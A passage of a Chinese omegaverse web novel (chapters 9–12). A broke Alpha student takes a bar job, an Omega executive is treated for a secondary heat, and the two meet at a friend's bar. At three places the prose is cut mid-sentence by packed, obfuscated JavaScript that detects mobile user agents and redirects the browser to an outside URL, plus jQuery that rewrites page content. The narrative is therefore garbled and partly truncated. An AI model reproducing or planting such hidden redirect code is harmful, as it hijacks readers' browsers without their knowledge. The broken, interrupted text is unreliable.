良久,她点进抖播,看到消息栏里又多了两条广告邀请,一条五百块钱。 沉默片刻,木棉私聊纪千柠:【柠柠,我记得你说谁家里人认识柏商霖来着,能帮我问问他的联系方式吗?】 9. 留人 消息上方很快变成了“对方正在输入中……” 木棉攥着手机,安静等他回复。 如果柏商霖同意她起号接广告,她至少能先把学费交上。学院催得急,班长也数次私聊她。 正想着,纪千柠发来一张截图,并附言:【不好意思棉棉,我问他了,他说他也没有柏总的联系方式。】 【柏总不喜欢陌生人加他,有事都直接联系公司业务部门。】 意料之中的答案,木棉却难掩失望。 疲惫塌下肩膀,她点进自己的账号,对着上面飞速增长的粉丝和播放量发呆。 是不是她所有的运气都用在了这上面,她现实生活才这么倒霉。 木棉看着新增的几条广告邀约,最终还是没有回复。 次日,她拖着行李箱搬走。下楼后,她专门绕路找到垃圾桶,把家门钥匙扔了进去。 她平静地回到宿舍,好在宿舍阿姨暂时没收走她的行李,她还可以住。 木棉抽空问了班长,能不能重新办理住宿,得知可以是可以,但是流程繁琐需要层层审批,等审批下来了估计是一两个月后。 也就是说,她最早也要一个月后才能重新住宿舍。 木棉想了想,觉得不太划算。无法解决她现在的住宿问题,还要再搭进去两千块住宿费。 好在宿舍行李没被收走,她一边找便宜房子一边面试。 之后三天,她一直早出晚归,一场面试接着下一场面试,但都没什么结果。 餐厅想要没有信息素的Beta,培训机构觉得她性格太软管不了学生,剩下拒绝的理由也是千奇百怪。 忙了一通却没有任何后续,哪怕她这几天一直在打小时工,赚了小几百块钱,也无法缓解心底的焦虑。 除此之外,警局还传来了坏消息。 ——他的父亲有多地消费记录,不存在失踪的可能性。可等她询问他在哪的时候,警局却说子女无权过问。哪怕她告诉他们,他卖房赌博让她流落街头,他们仍然不肯透露半分。 木棉知道为什么,又是该死的“监护权”。 只要这个东西存在,她就无法真正伤害他父亲,还要防着被他吸血。 这几日,她查过相关资料,监护权就是个特别特别麻烦的东西。 国内的律所基本不接相关案子,顶级律所中也只有君和律所接过,其中又以秦钊律师为首,败诉和胜诉几乎对半分。 木棉搜了下秦钊律师的资料,他是最富盛名的新一代律师,能力出众,过往不利,唯独在监护权诉讼方面胜负对半。顺便查了查他的咨询费,面对后面一串零,木棉发了会呆,无奈放弃。 诸事不顺,她开始连续失眠,后颈的腺体也隐隐发疼。 她对自己的身体很熟悉,恐怕易感期不是今天就是明天了。 缴纳学费截止日期的前一天,下午五点半,她正在吃今天的第一顿饭。 这时,宿舍阿姨过来通知她,明天会清宿舍,她顶多再住一晚上。 木棉心累到麻木,肚子很空很饿,她却什么都吃不下。 她不知道要去哪里、能去哪里。 独立解决困难,是她一直以来的、潜意识般的本能。 她没有向朋友求助的习惯。 叹口气,木棉慢吞吞嚼着米饭,默默消化情绪。 这时,手机响了一下,boss直骗发来一条消息。 木棉没什么劲儿,过了很久才点进去。 是一家特色酒吧的兼职面邀,离学校不远,日结且时薪颇高,一晚上最少能赚一千块钱。 她仔细翻看酒吧的要求,微微皱眉。 这家酒吧刚开业,能搜到的信息很少,从它上传的图片来看规格很高,更像高级会所。 木棉主要疑惑它的招人标准,除了常见的卡颜值卡身材外,它还卡学历。 只是普通服务员,都要顶尖高校的学生,还特别备注了北江大学在校生优先,有点像萝卜岗。 好奇怪。 她怀疑酒吧老板有什么怪癖。 对方似乎能看到她已读消息,很快发来第二条,希望她今天晚上直接过来试岗,试岗工资跟正式工资一样。 也就是说,她只要去就能拿到一千块钱。 听起来更不正经了。 木棉不敢轻信,仔细翻看所有条件。 ……都很正常。 而且,酒吧给她的试岗时间是晚上八点到凌晨一点,还颇为人性化地提供一晚住宿。 不用单独花钱订酒店,木棉当即打消所有犹豫,去! 筷子戳了戳米饭,同意。 她并不相信天上掉馅饼这种好事会落到她头上,恰恰相反,她一直都觉得自己是个倒霉蛋。 或许确实走投无路,木棉抱着试一试的心思,还是决定去。 至少,她现在是Alpha。 万一有什么事,自保还是没问题的。 确定试岗后,木棉打包好所有行李,打算等明天早上回来再带走,彻底搬出宿舍。 接着,她洗了个澡,换上提前拿出来的衣服。 镜子里的女孩一身粉色。 芭比粉头发被她扎成两个麻花辫,自然垂落在胸前。紧身短T露出小半截腰身,下面搭浅粉色格子短裙,遮住白皙的大腿,腿袜圈住小腿,衬得她愈发甜软。 像一只软绵绵的、没什么杀伤力的兔子Omega。 想到酒吧发过来的衣着要求,木棉想了想,又从抽屉里找出几件首饰。 这些都是原身买的,各种银质的项链、戒指、装饰品,造型夸张酷拽,触手冰冷,风格偏向中性化。木棉还蛮喜欢的。 选出几个戴好,她重新审视镜中的自己。 甜软的穿衣风格配上略显锐利的装饰品,透出几分甜酷,漂亮得晃眼。 顺手背上一只小棕熊斜挎包,木棉关门前往酒吧。 * 蓝山别墅区。 顾修程驱车绕过一栋栋别墅,眼角余光不停瞥向后座上的男人。 见他额上直冒冷汗,攥着抑制剂扎向已然青紫的小臂,顾修程眉头紧皱,踩实油门,嘴上却没闲着:“柏商霖,幸亏你叫的是我,不是季曜,不然那小子得嘲笑你一辈子!” “柏商霖,不,柏总,未来的柏董事长,您看看我这一身,我还穿着白大褂呢!硬生生被您从医院拽出来……” 柏商霖一声不吭,眼皮都没动一下。 说了一通话没人应,顾修程明显不高兴,精致得雌雄莫辨的脸上,一双狐狸眼微微上挑:“现在这个社会,哪家二代能生生让发情期憋死?你嫌外面人脏,就找个干净的,何必受这些苦?老爷子不高兴,你也不痛快。” “找个年轻干净的Alpha,发情期的时候用用,别的时候就放那,不很正常?” 顾修程扫了眼后视镜,看柏商霖手背青筋暴起,浑身绷紧,俨然已经压不住二次发情的强度。 他更是气不过,纳闷道:“我们这个圈子谁能从一而终?客观解决身体需求,你又不是主观想做,柏商霖你就不能变通一下?” 说到这,他忽然想到温言前几天问他,柏商霖用的强效抑制剂有没有被人动过手脚,“你前几天不是被一个小Alpha救了?年轻貌美,跟她试试?” 越说,他越觉得可行。 柏商霖重度洁癖,被Alpha碰一下都会觉得恶心,每天恨不得洗八遍澡。他竟然会允许一个陌生Alpha用信息素安抚他?! 听到这消息时,他都怀疑柏商霖被什么人附身了。 这般想着,顾修程兴奋起来,看热闹不嫌事大:“嘶,我这就让温言查查你们两人的信息素匹配度,绝对低不了……” “正好,老爷子一直拿孩子威胁你。你干脆去母留子,一鼓作气生个孩子……” 柏商霖眼皮一颤,掀眸瞥他,冷不丁道:“又跟虞鸢吵架了?” 声音又沉又哑,像是压着不悦。 顿时,顾修程脸一黑,双手攥紧方向盘,无意识按住喇叭。 一声长鸣。 车内终于安静下来,柏商霖深吸一口气,压制体内的燥热。 可能是长期注射抑制剂的副作用,他这次的发情期格外漫长。 按理说,有Alpha安抚后,发情期带来的身体反应会慢慢减弱,直至消失。但他没有,不仅没有减弱,反而愈演愈烈。 想到这,柏商霖头痛欲裂。 彼时他正在开会。 任达欧听说他的项目和人都被他扣下,病也不装了,火速出院,直接来会议室大闹,被温言拦在门外。 他根本不在意,更没有把任达欧放在眼里,照常开会。 可没想到,这个时候他会出现二次发情。 也不知道离开的时候任达欧看没看出异样…… 柏商霖捏紧眉心,耐不住催促:“开快点。” 他突然出声,引得顾修程回神。 见他颈侧都开始染上绯红,不再跟他计较,加速抵达柏商霖的别墅。 温言已经等在门口。 下车时,柏商霖踉跄了两下,一阵腿软。 他往上推了推眼镜,遮住眼底的迷离,推开温言的搀扶,三两步跃上台阶,推门进去。 “柏总……” 见老板步伐平稳,看起来没什么大碍,温言没追上去,转而跟顾修程一起进屋:“顾医生,医疗设备已经消毒备齐,您要的抑制剂和稳定剂也准备好了……” 说完,他就看到顾修程抓起两支Alpha抑制剂,径直扎向自己小臂,小声抱怨:“你说柏商霖怎么就分化成O了呢,每次发情期我还得跟着遭罪……霸总的医生不好当啊。” 他一向话多,自言自语都能玩很久,温言了解他,就没吭声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127643|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心急自家老板,也没心情回应,恨不得直接把顾修程绑到诊疗室。 温言加快了脚步,推门而入,听到哗啦啦的水流声急速响起。 柏商霖把自己锁进了浴室。 温言一惊,忙上前敲门:“柏总,现在不能用冷水……” 顾修程叫住了他。 尚穿着白大褂的顾医生惬意伸了个懒腰,舒缓长时间开车带来的疲惫。他懒懒倚上岛台,熟练接了杯凉白开,漂亮得雌雄莫辨的脸上浮现出惯常的眯眼笑,半点看不出车里时的恼怒和着急。 “你们柏总自尊心重,你现在进去跟杀了他没区别。更何况,不洗干净,保持体面,他是不会让我检查的。”顾修程随手取下手腕上的黑头绳,绑住有些长的发尾,扎起一个小啾,“哪怕洗冷水澡会发烧,他也会洗。” “在他眼里,尊严比他的身体要重要。” 顾修程很少说这种正式又带点儿矫情的话。 温言怔然,有些恍惚。 身为助理,柏总每月一次的发情期他几乎都陪在身边。他是Beta,闻不到信息素气味,也无法切身体会没有Alpha安抚的成年Omega,在发情期会遭遇什么。 柏总一直表现得很沉静,好像发情期只是一场感冒,这种淡然模糊了温言对发情期的认知,以至于他忘了柏总最开始抗拒任何人在发情期靠近他。 哪怕只是送件衣服、递个抑制剂,柏总都会冷声拒绝。 像是套上一层冰冷尖锐的外壳,抗拒所有人,哪怕来人是善意的。 温言越想越深,胸口涌起一阵说不上来的酸闷。 顾修程瞄他一眼,嘴角勾起,有条不紊做着消毒准备。 他心里盘算了下柏商霖出来的时间,突然开口:“温言,你老板晚上有没有空?” 温言猝然回神,尚未从低迷的情绪中抽离,条件反射般回复:“柏总今晚没有工作安排。” 刚说完,他脸一僵。 说漏嘴了。 果不其然,顾修程一双狐狸眼狡黠眯起:“原来没安排啊,我就知道他在骗我。” 他脱下医用手套,回复季曜十分钟前的消息:【把人留住了,我跟柏商霖一定到。】 季曜很快回了个“1”。 顾修程往上划消息,连续好几张都是一个粉发女孩的生活照,以及明显从简历上抠出来的证件照。 看着她那张干净乖巧的圆脸,顾修程眯起眼,浅哼:“这小姑娘长得真漂亮……” 就是太像O了。 原来柏商霖喜欢这种口味啊。 老爷子他们找错方向了。 顾修程眯眼,眼眸幽深不见底。 二次发情预示着柏商霖的身体濒临崩坏,再任由他胡闹下去,不说腺体,就是他这条命都难保住。 无论作为朋友,还是他的主治医生,他都不愿意看到这种事发生。 木棉…… 顾修程心里默念了句。 片刻,他笑眯眯扣下手机,浅浅晃了晃脑后的小啾啾:“你们老板拿虞鸢刺我,我得反击回去嘛。温言,委屈你了。” 嘴上这么说,他脸上却没有半点抱歉的意思。 真恶劣。 温言欲哭无泪,恼恨自己又一次栽进顾医生设的坑里,没来得及动脑子就被人套出实话。 谁让顾修程看着温柔,套话时跟闲聊一样,他每次都防不胜防。 咔哒一声,浴室门推开。 柏商霖脸色苍白,一身寒气地从里面出来。 哪怕他现在正处于二次发情期,身体不适,又泡了冷水澡,出来时仍穿着衬衫西裤,一丝不苟。 只是他脸上肉眼可见的疲惫,眉头紧拧。 二次发情的强度超出了他的预估,比起身体的不适,这种失控感更让他难以忍受。 出来后,他没多停留。和往常一样,对顾修程抬了下下巴,便往二楼的诊疗室走去。 步伐隐隐有些不稳,但背脊挺拔。 因为他严重的洁癖,无法忍受医院混乱的环境,专门在别墅装修了一间诊疗室。 顾修程对此再熟悉不过。 他提起医药箱,跟柏商霖上楼。 足足两个小时过去,诊疗室紧闭的大门终于打开。 顾修程额头全是汗,后脑勺的小啾啾也变得湿润,耷拉下来。 他疲惫瘫坐在地,再也没有平常游刃有余的作态,神情难得严肃。 “强效抑制剂的药效已经是普通抑制剂的三倍,这样都稳不住你的发情期,还催生了二次发情。柏商霖,这样下去你会没命的。” 见柏商霖仍不为所动地系着衬衫纽扣,他语气郑重:“二次发情极其罕见,可供研究的案例极少,哪怕动用我们两家的力量,短时间内也很难制定出解决方案。” 他顿了顿,再说:“目前已知的治疗手段只有标记,终身标记。” 10. 惊喜 “终身标记。”顾修程着重强调了前两个字。 他一把拽下脑后啾啾上的头绳,双臂撑地,牢牢锁定柏商霖:“二次发情期因人而异,时间长短和强度都不同,但我从没听说过有人的反应会像你这么严重。” 柏商霖沉默,从下往上依次系好纽扣,直到第一颗扣子扣实,衬衫衣领圈住脖颈的熟悉感传来。 做好这一切后,他才缓缓抬头,目光虚虚落在不知名处,声音嘶哑:“为什么会二次发情?” “从你成年分化成Omega,每次发情期你都靠注射抑制剂熬过去。普通抑制剂不管用了,就用强效抑制剂,副作用太大,二次发情是迟早的事。再加上那个小Alpha,她用信息素救了你,可也刺激了你,让二次发情提前了。” 顾修程始终关注柏商霖的表情,解释完,发现他脸上也没什么额外的表情。 一如既往的镇定、冷静。 他不禁皱眉,难道他猜错了? 那个粉头发女Alpha…… 一时间,无人说话,诊疗室内恢复了静谧。 手术台上摆满了各种器械刀具,还有若干空了的药剂瓶,柏商霖目光轻轻落在上面。 后颈腺体的镇痛提醒他,若再不做些什么,他或许真的会死。 忽然,柏商霖垂头,握住自己的小臂。 女孩用信息素安抚他时,钳制他的手劲很大,但很舒服,以至于他后来常常梦到。 那头耀眼的粉发浸润的夕阳金光中,白嫩的脸颊笑得微微鼓起。 她的信息素清甜柔和,一点点将他完全包裹。那是他从未体会过的至乐。 顾修程为他做信息素清除手术时,不知道为什么,他又一次想到那股甜甜的水果糖味道。 不知过去多久,柏商霖起身,没再多问一句。 走到门口,他折身问了下:“缓释剂能维持多久?” 强效抑制剂现在对他不起作用,顾修程给他注射了最新研制的缓释剂,能大大减轻二次发情带来的生理反应。 他现在和平常没什么区别,只感到身体更热,像发烧。 “……一天?两天?看你代谢状况。”顾修程坐够了,也跟着站起来,“缓释剂完全吸收后,二次发情的身体反应会再次出现,我建议你这两天少出门。” 柏商霖点点头,脸色不变,也不知道听进去没有。 见他如此淡定,顾修程气不过,忍不住多啰嗦两句:“公司离了你不会倒闭,不然高薪聘那么多人做什么?有事交给温言,交给底下的高管,养他们不是吃干饭的。我看你变成现在这样,也有你一天二十四小时都操心公司的功劳!” 他还没说完,柏商霖转身便走,顺手指了指楼下,意思是慢走不送。 顾修程:“……” 他怎么这么贱呢,非要跟个老妈子似的叮嘱他…… 两秒后,顾修程提脚跟上去,“柏商霖,季曜酒吧前几天开业,咱俩过去给他捧个人场。” 柏商霖脚步不停,推门进书房,“没时间,你去吧。” “你晚上没安排,我早打听清楚了。”顾修程伸脚卡了下门,在柏商霖关门前流畅地挤进去,极为熟练,一看就知道没少干。 一进门,他径直走向沙发,没什么坐相,懒洋洋支着下巴,“季曜特意跟我说,一定要拉着你过去,有惊喜。” 柏商霖睨他一眼,对他从温言嘴里套出话没什么意外。他拿起桌上温言刚送来的文件,翻开扫视,淡声:“改天再去。” 翻开第一页,他愣了下。 ——不是公司事务,而是关于木棉的详细调查报告。 他这才想起来,自己吩咐过这件事。 温言担心他忘记木棉是谁,还特意用别针夹了一张证件照,扣在文件右侧。 粉色长发下一张小脸圆圆的,大眼睛忽闪,乖巧看镜头。她笑得很甜,右脸溢出一颗小梨涡,生机勃勃的。 忽然,一只手从旁边伸过来,迅速取下木棉的证件照。 顾修程不知道什么时候过来的,正捏着照片眯眼打量,脸上笑容灿烂:“那个小Alpha?还说没那个意思,没意思你调查人家干嘛。” 柏商霖皱眉,不悦:“你走路没声音?” 顾修程笑眯眯的,确认人后就把照片还他,双臂撑着书桌上厚厚一摞书,充当垫手的架子。他歪头瞥了眼调查报告,“还让温言亲自去,这么重视?” 柏商霖懒得理他,垂眸翻阅报告。 温言跟他多年,行文风格凝练直白,扫上几眼重点信息便一目了然。 父母离异,父亲重色好赌母亲再婚生子。她转专业失败,曾跳河轻生,被人救上来后性情大变,一改往日阴郁的作风,乐观阳光很多,一直在勤工俭学赚学费…… 最后,温言下了结论:她两次出现在他面前,纯粹是巧合,人为计划的可能性很小。 柏商霖心中一定。 “啧,真是个可怜的小姑娘……”顾修程也跟着把调查报告看了个遍,暗暗观察柏商霖的表情,忽然开口,“你可怜她?所以才给她的视频投流,让她火了一把?” 话音刚落,柏商霖合上调查报告,将它和证件照一并放进右手边抽屉里锁好。做完后,他才抬头,淡淡扫了顾修程一眼:“你觉得我会跟温言一样,任由你套话?” “……啧。”被直接戳破,顾修程一脸无趣,胡乱拨弄桌上的书,“我是有些好奇啦。谁让你最讨厌别人议论你,这次却默许视频爆火,谁看到都会好奇原因吧!” “你可别说是利用她,给她投流的时候,这份调查报告还没出现在你桌上呢。对她就这么放心?”顾修程满眼得意,一副抓到他小辫子的模样。 柏商霖不接他的话茬,开始看公司最新的项目计划书,摆明了不想理会。 顾修程自讨没趣,嘟囔:“假正经。” 他瞥了眼柏商霖正在看的项目书,想到什么,继续顶风作浪:“季曜说你跟他要了几个人,把俩Alpha揍了?” 柏商霖手中的钢笔一顿,没说话。 “真是你干的?!”多年好友,顾修程早就摸清了柏商霖的反应。他一把抢过柏商霖手里的钢笔,抓在手中灵活转圈,一双狐狸眼饶有兴味,“就两个流氓,往常你眼神都不多给一眼,这回怎么突然大动干戈,还把人送进了监狱?” 柏商霖揉了下眉心,淡声:“他们是柏氏的施工队,也是任达欧手底下的人。” 意思是他们的所作作为丢了柏氏集团的脸面,他在维护集团荣誉,顺便打了任达欧的脸。 话落,顾修程扔下钢笔,眉眼烦躁:“得了吧你,任达欧哪有那么大面子。” 他从小就讨厌柏商霖给自己戴高帽又言不由衷的样子,别别扭扭的,一点都不坦诚。 柏商霖毫不意外他的反应,捡起他刚刚扔桌上的钢笔,刷刷两下签名,一心两用:“铺垫这么多,到底想说什么?” “早跟你说了,季曜酒吧开业,咱俩去喝点。”顾修程也没刨根问底自讨没趣,直起身整理了两下衣服,挑眉,“放心,有本少爷在身边,确保你今晚安安全全。” 想到酒吧里的人,顾修程满眼促狭:“季曜准备的惊喜,你肯定猜不到。” 柏商霖皱眉,他今晚确实没什么工作。 注射缓释剂后身上如同发烧的热感,让他想喝点冰的。 片刻,他绕离书桌,换衣服。 这次他没打领带,也没穿马甲,选了套稍微休闲的西装,整个人看起来温和不少。 顾修程笑眯眯跟上去。 两辆车一前一后,抵达酒吧。 下车时,柏商霖扫了眼腕表,刚刚九点一刻。 季曜的酒吧地处商业街,附近又是大学城,来玩的年轻人络绎不绝。 门口挤满了人,各种信息素气味混在一起,实在难闻。 柏商霖面露不适。 顾修程知道他洁癖又犯了,任劳任怨凑上前,跟保镖似的护他进去,一边安抚他:“里面就好了,季曜特意安装了全套信息素处理系统。” 说着,他们穿过长廊,视野骤然开阔。 轻松舒缓的音乐悠悠淌出,空气中氤氲着茉莉花的清香。 私密性极好的卡座上,客人们在轻声聊天,声音轻浅,偶尔响起酒杯放到玻璃桌上的清脆声响。 与其说这是一间酒吧,更不如说是一间咖啡厅,还是可以聊天自习的那种。 这里和季曜惯常喜欢的群魔乱舞的酒吧风格截然不同。 他改性了?还是专门为什么人打造的? 柏商霖扫了眼周围,商业本能让他下意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她是个Beta,身上总是沾着各种信息素味道,偏偏她还闻不到。季曜每次都气得要死又没办法……” 说着,他抬头环视。 找到了。 顾修程狐狸眼眯起,脸上又露出狡黠的乐子人表情:“你右手边的吧台,那个白裙子小姑娘就是。” 柏商霖循声看去,愣住。 酒吧里的灯光偏暗,只能从偶尔一闪而过的亮光下看清两人在做什么。 季曜穿着纯黑背心,颈间锁着深黑项圈,上面凸出各式各样的铆钉,看起来桀骜不驯。他肌肉饱满的上臂撑着吧台,隔着长长的桌子,正弓腰用脑袋使劲蹭对面的女生,像吸食猫薄荷的大型猫科动物。 那张棱角分明的硬朗面庞,也变得柔软可欺,完全不符合他校霸的气质。 “瞧瞧他没出息的样子。”顾修程一言难尽,假模假式地搓搓胳膊,阴阳怪气,“终于快把人追到手了,他这两天高兴得很,尾巴恨不得翘天上去。” 柏商霖瞥他一眼,淡声:“你刚刚点酒了?” 顾修程不解,迷惑点头。 柏商霖嗯了声,“别喝酒,喝醋吧。” 顾修程:“……” 他不就是见不得季曜这头恶犬在沈茉莉面前装小绵羊吗?谁让他前两天在他跟虞鸢吵架的时候,一脸春风得意地秀恩爱。 又一阵亮光闪过,刚好照在女孩脸上,柏商霖觉得眼熟,“……她是不是北江大学的?” 这次轮到顾修程惊讶了。 他抿了口服务员刚送过来的鸡尾酒,诧异道:“你认识?沈茉莉,季曜暗恋她好几年。” 柏商霖确实见过她。 但不是因为季曜,而是木棉。 她们曾一起在醉江澜兼职过服务员,他去吃饭的时候经常见到她们。 两人关系很好,休息时,沈茉莉很喜欢给木棉扎头发,把她当成洋娃娃打扮,光他就看过至少七八种发型。 正想着,记忆里扎着麻花辫的粉发小姑娘忽然出现在眼前,接着不停放大。 柏商霖听到木棉脆生生唤他:“柏先生。” 11. 好运 “您好,您要的莫吉托和玛格丽特。”木棉弯腰,从托盘上一一取下酒杯,嗓音很甜,“请您享用。” 她扎着两条粗粗的麻花辫,穿着粉色格子短裙,俏生生出现在柏商霖面前。 俯身端酒时,能清楚看到她的脸颊莹润润的,白里透粉。纤长的脖颈后牢牢贴着层抑制贴,贴面上画着可爱的浅粉色蝴蝶结,一股极其淡的水果糖味道从她身上飘来。 突兀地,柏商霖往后仰了仰身子,只觉浑身更烫,屏息避开女孩。 木棉眨眨眼,疑惑地看他一眼。 见他面色平静自然,只当刚刚只是他的无意之举。 “柏先生,您要的莫吉托。”木棉将一青绿一淡黄两杯酒分别放到二人桌前,“莫吉托单独调制过,味道偏清苦、发涩,后调回甘,您要是尝不惯,我再重新为您调制一杯。” 知道是柏商霖点酒时,她惊讶了下,万万没想过会在这里遇见他。 一瞬间,她就想到自己断更好久的账号,脑筋转了起来,特意问他有没有口味要求。接待他们的服务员只告诉她少甜,所以木棉额外多加了几片青柠。 莫吉托是入门酒,清爽酸甜,度数不高,第一次来酒吧的Omega几乎都会选择这个。 只是她没想到,柏商霖也会选这款酒,明明他看起来很会喝酒的样子。 昏暗的灯光下,持续播放的纯音乐舒缓悠扬,木棉看到柏商霖矜持地嗯了声,端起酒杯抿了一小口。 他的手修长有力,骨节分明,手背上凸起的青筋蜿蜒。手掌很大,酒吧统一规格的玻璃杯在他手中都显得格外小巧。 木棉忍不住盯上他的手。 看他握住杯身时,因发力而绷紧的手指,还有圆润泛粉的指甲。 女孩的注视直白纯粹,毫不遮掩。 柏商霖垂眸,僵硬着握紧玻璃杯,嘴唇贴上杯沿。 透亮的酒液在杯中摇摇晃晃,薄荷叶和柠檬片撞击在一起,方方正正的冰块碰撞杯壁,发出清脆声响。 只尝了一小口,柏商霖就放下杯子,面上看不出喜恶。 他缓慢将手从酒杯上移开,女孩的视线紧紧跟随,直到他的手垂到桌下,隐入黑暗中。 某一瞬间,柏商霖甚至产生了错觉,以为自己被什么猛兽锁住,当成猎物拆之入腹。 柏商霖轻咳了声,终于抬眸,看向乖巧站在旁边、面上隐有遗憾的女孩,欲言又止。 她反应很快,迅速移开目光,面颊泛粉,眸光湿漉漉的,看上去十分乖巧。 她一脸殷切地看向他,礼貌询问:“好喝吗?” 柏商霖抿了下唇,掩在镜片后的双眸闪了闪:“不错。” 木棉瞥了眼他刚刚放下的酒杯,弯唇:“那太好啦!您喜欢就好。” 顾修程仰靠在沙发后背上,从木棉出现开始,他就一直默不作声观察他们,嘴角止不住上扬。 这小姑娘乖巧内敛,看人时眼睛水润润的,像只容易受惊的小兔子。不像柏商霖,老神在在地坐在那,一脸淡然,像极了设下陷阱、等待兔子自投罗网的猎人。 热闹在前,他很快忘了刚刚的教训,朝木棉伸手:“妹妹,来,坐这。” 他拍了拍自己旁边的沙发,示意木棉过去,笑眯眯地占便宜:“我是柏商霖的哥哥,顾修程,你可以跟着他叫我顾哥。” 柏商霖从木棉身上移开目光,眸色幽深,睨了顾修程一眼,眼含警告。 听到声音,木棉这才意识到还有另一个人在场,她有些懊恼,脸颊滚上热意。 看了眼招呼她的顾修程,想到自己主动过来送酒的目的,木棉乖顺坐过去。 她有些拘谨,手里紧紧攥着托盘,双腿并拢,占据沙发上小小一个角落,离他很远。 顾修程自在地舒展双臂,一只手搭在沙发上,眼含笑意:“多谢你帮他度过发情期。你不知道,他之前每次都是硬熬过去,一个月里起码要受三五天罪。” 木棉怔了一下,不禁看向柏商霖。 她没想到,柏商霖这么一个霸总,发情期竟然要自己生生熬过去?难道他的洁癖已经严重到这个地步了? 想到这,她满脸疑惑问出口:“柏先生不喜欢让Alpha用信息素安抚么?” “嗯?”顾修程挑了下眉,神情茫然。 “不是。”突兀的,一直沉默的柏商霖突然开口,淡淡道:“没有Alpha耐得住本能,只释放信息素安抚而不进行标记。我讨厌标记。” 顾修程听明白了。 合着这回他的发情期,不是靠木棉的临时标记挺过去的。她单单只用信息素安抚了柏商霖? 他诧异地看向木棉,又看向柏商霖,终于知道柏商霖为什么对木棉这个小Alpha格外特殊。 Alpha天生是享受型动物。 释放信息素抚慰Omega,是一项服务型工作,Alpha无法从中获得快感。O爽了,A不仅没爽到,还要耗费心神和力气,这完全是个亏本买卖,几乎没有Alpha愿意干这种吃力不讨好的事。 难怪…… 顾修程看着木棉脸上真实的茫然和疑惑,弯了弯唇。 这个年轻稚嫩的小Alpha没有其他A恶劣的生理本能,她纯粹得像一张白纸,发自内心尊重Omega,从未有过凭借生理优势欺负O的想法。 这样的她,对柏商霖这种Omega有着致命的吸引力。 木棉呆呆地噢了声,认真解释:“释放信息素很简单的,我一开始也不会,后来多练几次,都可以用信息素打架了。” 顾修程扑哧一声,笑得泪眼汪汪。 他眨眨眼,对柏商霖昂了昂头,意有所指:“你真是捡到宝了。” 柏商霖面无表情,看都没看顾修程一眼。 他用手抬了抬眼镜,目光专注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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偌大的惊喜猝不及防砸到她身上,木棉没忍住轻呼一声。 像被施了某种魔法,她眉眼弯弯,眸光轻盈,右脸的小梨涡重新出现:“谢谢柏总!” 她恨不得当面给他鞠躬三连。 账号可以保持干净无污点,常人难以理解的精神洁癖得到了满足,这简直是意外之喜。 一想到起号后,她很快就能接广赚钱,后台的广告将变成冰冷的金钱,木棉高兴得露出八颗牙齿,一双大眼睛弯成小月牙。 她怎么这么幸运,她才不是倒霉蛋! 她心里藏不住事儿,小圆脸上堆满了笑,略带婴儿肥的脸颊鼓起,衬得她更像展柜里的洋娃娃。难怪沈茉莉喜欢给她扎头发。 柏商霖扫了她一眼,垂下眼皮,重新端起酒杯抿了口。 “那条视频火起来不只是因为我,还有你。”只尝了一口,他就放下杯子。 舒缓的音乐背景下,他的嗓音温和得不可思议,“视频火起来是因为故事感,这离不开你最后抬头看过来的镜头。你愿意帮助陌生的Omega度过发情期,抬起头来主动寻找信息素来源,这才会被拍下,成就这段视频。” “善举结善果,视频火起来就是你结下的善果。所以,注册新账号不是蹭热度,这是你应得的好运气。” 12. 名片 柏商霖很少说这么长一段话。 不只是木棉,安静当透明人的顾修程都惊讶了,神情难辨。 木棉愣住,没想到他会这样说。 她能感受到对方身上的善意,不是高高在上的宽慰,没有年长者的傲慢,就这样平静的、淡淡的安抚了她。 “……谢谢。” 她忽然词穷,不知道该说什么,吞吞吐吐只能道一句谢谢。 她感到自己又开始脸热,但这次不是因为紧张尴尬,而是一种陌生的复杂情绪。 鼻腔有些酸,一连几日发生的所有糟心事似乎有了宣泄的出口,连轴转却一无所获的酸涩感齐齐涌了出来。 木棉低着头,躲过柏商霖的注视。 她仓促站起身,结结巴巴又说了好几句道谢的话。不等柏商霖回应,她扭头离开,纤小的身影一眨眼钻进人群,消失不见。 柏商霖一动不动,坐在沙发上。 冷锐镜片后,他注视着木棉的双眼幽黑深邃,恍若不见底的寒潭。 他伸手碰上自己的后颈,上面的纱布紧紧包裹住腺体,并没有任何松动的迹象。 只是碰上去时,他感到有些发烫。 Omega腺体在发热。 柏商霖沉了沉脸,对二次发情期有了更深的认识。只是闻到了木棉身上一丁点信息素,他的腺体就受到莫大的刺激,发软发热,软烂如泥。 木棉匆匆离开,顾修程没反应过来,一脸摸不着头脑:“她怎么了?” 听到他说话,柏商霖终于收回视线,摇了摇头。 他再抿了口酒,眉头轻微皱起,换了话题:“惊喜看完了。既然季曜忙,我先走了。” 再呆下去,他担心自己会不受控制地发情。 “哎——”顾修程不让,“急什么啊,我自己一人喝酒没意思。” 柏商霖冷呵一声,嗤他:“看来虞鸢还没理你。” 自从顾修程跟虞鸢在一起后,他就跟狗皮膏药似的,每天都粘着虞鸢。两人趣味相投,喝酒玩乐都能玩到一块去。 今天大晚上他却拖着他喝闷酒,还找些乱七八糟的理由留他,显然虞鸢还不愿意搭理他。 果不其然,顾修程脸瞬间黑了。 他一口闷掉酒,满脸郁色:“她现在已经是我的女朋友了诶,大晚上还跟别的Alpha一起唱歌,我生气不应该么?” 